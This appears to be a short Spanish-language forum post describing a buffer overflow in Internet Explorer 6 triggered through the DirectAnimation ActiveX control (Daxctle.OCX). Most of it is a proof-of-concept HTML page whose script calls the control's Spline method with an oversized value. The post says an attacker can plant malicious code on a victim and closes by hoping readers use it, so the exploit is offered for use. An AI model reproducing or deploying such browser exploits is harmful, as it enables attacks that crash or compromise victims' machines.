IE explorer:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Ocaciona un Buffer Overflow, cuando se lleva a cabo el Control ActiveX
El error es ocacionado en Daxctle.OCX
Exploit:
--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>
var target = new ActiveXObject("DirectAnimation.PathControl");
target.Spline(0xffffffff, 1);
</script>
</body>
</html>
En este error el atacante puede insertar codigos maliciosos a la victima...
Espero que lo usen

Fuente www.securityfocus.com










Autor


En línea
